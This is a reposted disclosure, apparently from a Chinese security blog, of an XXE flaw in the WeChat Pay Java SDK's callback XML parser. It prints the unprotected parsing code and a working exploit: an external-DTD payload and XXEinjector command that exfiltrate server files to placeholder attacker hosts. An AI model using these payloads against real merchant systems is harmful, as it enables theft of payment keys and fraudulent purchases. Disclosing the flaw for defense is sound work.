微信支付SDK存在XXE漏洞

  • A+
所属分类:网络安全文章
阿里


推广者专属福利,新客户无门槛领取总价值高达2775元代金券,每种代金券限量500张,先到先得。

微信支付SDK存在XXE漏洞

受影响版本:

JAVA SDK,WxPayAPI_JAVA_v3,建议使用了该版本的公司进行异常支付排查。

说明:

微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果,该接口接受XML格式的数据,攻击者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。一旦攻击者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)

漏洞详情:

  1. The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
  2. chapter=11_1
  3.    Just in java vision:
  4. https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
  5.     or
  6. https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
  7. Backup )
  8.    README.md in  WxPayApi_JAVA_v3.zip,it show more details:
  9.    notify code example:
  10.     [
  11.         String notifyData = "....";
  12.         MyConfig config = new MyConfig();
  13.         WXPay wxpay = new WXPay(config);
  14. //conver to map
  15.         Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);
  16.         if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
  17. //do business logic
  18.         }
  19.         else {
  20.          }
  21.      ]
  22.     WXPayUtil source code
  23.    [
  24.   public static Map<String, String> xmlToMap(String strXML) throws
  25. Exception {
  26.     try {
  27.             Map<String, String> data = new HashMap<String, String>();
  28.             /*** not disabled xxe *****/
  29.             //start parse
  30.             DocumentBuilderFactory documentBuilderFactory =
  31. DocumentBuilderFactory.newInstance();
  32.             DocumentBuilder documentBuilder =
  33. documentBuilderFactory.newDocumentBuilder();
  34.             InputStream stream = new ByteArrayInputStream(strXML.getBytes(
  35. "UTF-8"));
  36.             org.w3c.dom.Document doc = documentBuilder.parse(stream);
  37.            //end parse
  38.             doc.getDocumentElement().normalize();
  39.             NodeList nodeList = doc.getDocumentElement().getChildNodes();
  40.             for (int idx = 0; idx < nodeList.getLength(); ++idx) {
  41.                 Node node = nodeList.item(idx);
  42.                 if (node.getNodeType() == Node.ELEMENT_NODE) {
  43.                     org.w3c.dom.Element element = (org.w3c.dom.Element) node
  44. ;
  45.                     data.put(element.getNodeName(), element.getTextContent
  46. ());
  47.                 }
  48.             }
  49.             try {
  50.                 stream.close();
  51.             } catch (Exception ex) {
  52.                 // do nothing
  53.             }
  54.             return data;
  55.         } catch (Exception ex) {
  56.             WXPayUtil.getLogger().warn("Invalid XML, can not convert to
  57. map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
  58.             throw ex;
  59.         }
  60.     }
  61. ]

利用细节:

  1. Post merchant notification url with  payload:
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE root [
  4.   <!ENTITY % attack SYSTEM "file:///etc/">
  5.   <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  6.   %xxe;
  7. ]>
  8. data.dtd:
  9. <!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
  10. '>">
  11. %shell;
  12. %upload;
  13. or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】
  14. ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl
  15. req.txt :
  16. POST merchant_notification_url HTTP/1.1
  17. Host:  merchant_notification_url_host
  18. User-Agent: curl/7.43.0
  19. Accept: */*
  20. Content-Length: 57
  21. Content-Type: application/x-www-form-urlencoded
  22. XXEINJECT
  23. In order to prove this, I got 2 chinese famous company:
  24.    a、momo: Well-known chat tools like WeChat
  25.    b、vivo :China's famous mobile phone,that also famous in my country
CE安全网

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: